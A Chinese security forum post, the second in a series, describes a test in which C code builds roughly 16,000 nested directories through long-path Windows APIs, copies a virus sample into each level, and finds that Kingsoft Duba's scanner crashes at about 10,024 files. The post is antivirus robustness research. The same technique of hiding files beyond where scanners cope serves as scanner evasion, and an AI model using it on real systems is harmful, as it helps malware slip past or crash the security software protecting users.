-
-
[原创]震惊!他竟用这一招让杀软崩溃!<2>
-
发表于:
2020-6-16 13:56
10395
-
前一篇地址
昨天的实验测试有个问题,那就是病毒才放了508个,后来检查发现原来是wprintf的缓冲区只能1024个字节,于是我修复了这个问题,对昨天没出问题的杀软再进行一次测试。
思路
利用W版文件函数创建超深路径目录,并在目录中沿途放置病毒,以测试各大杀软扫描器。
源码
// 最大目录深度测试
// 用于测试扫描目录会不会崩溃
#include
#include
#include
wchar_t dirname[32767 + 1] = { LR"(\\?\C:\)" };
wchar_t virusname[32767 + 100] = { 0 };
// \\?\c:\ 32767 - 7 = 32760 32760 / 2 = 16380
int main(int argc, char** argv)
{
for (int i = 0; i < 16380; ++i)
{
wcscat_s(dirname, LR"(a\)");
if (CreateDirectoryW(dirname, NULL))
{
;
// printf("创建成功:%ls\n", dirname);
}
else
{
printf("创建失败:%ls 此时的i==%d\n", dirname, i);
break;
}
StringCbPrintfW(virusname, (32767 + 100) * 2, L"%sv", dirname);
if (CopyFileW(L"c:\\virus", virusname, TRUE))
{
printf("copy success! i==%d\n", i);
}
else
{
;
DWORD dwerr = GetLastError();
printf("copy failed! %d \n", dwerr);
}
}
system("pause");
return 0;
}
运行代码生成测试环境:
copy success! i==16356
copy success! i==16357
copy success! i==16358
copy success! i==16359
copy success! i==16360
copy success! i==16361
copy success! i==16362
copy success! i==16363
copy success! i==16364
copy success! i==16365
copy success! i==16366
copy failed! 206
创建失败:\\?\C:\a\a\a\a\a\a\a\a....\a 此时的i==16368
一共放置了0~16366共16367个病毒,0~16367一共16368个目录,16367+16368 = 32735, 用everything验证一下(everything也卡了半天):

没错,数字正确,接下来啊开始测试。
各安全软件测试(2020-6-16下载的官方包)
今天主要来测试的就是昨天成功扫出508个,但由于我的BUG导致没法继续测试的杀软。
金山毒霸V11
今天点自定义查杀没有昨天的黑了十几秒的问题,不知道是不是我虚拟机问题。

看来还是昨天测试得不够猛,今天可以明显地看出kscan的内存也在不断上升。


到了10024个文件的时候突然弹了一个runtime library的窗口:

然而这窗口透明的,也不知道它显示了什么,在这之后扫描似乎没有继续下去了:

把弹出的窗口关闭,可以看到程序错误:

阵亡了,下一个。
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课
最后于 2020-6-18 09:28
被boursonjane编辑
,原因: 增加卡巴斯基测试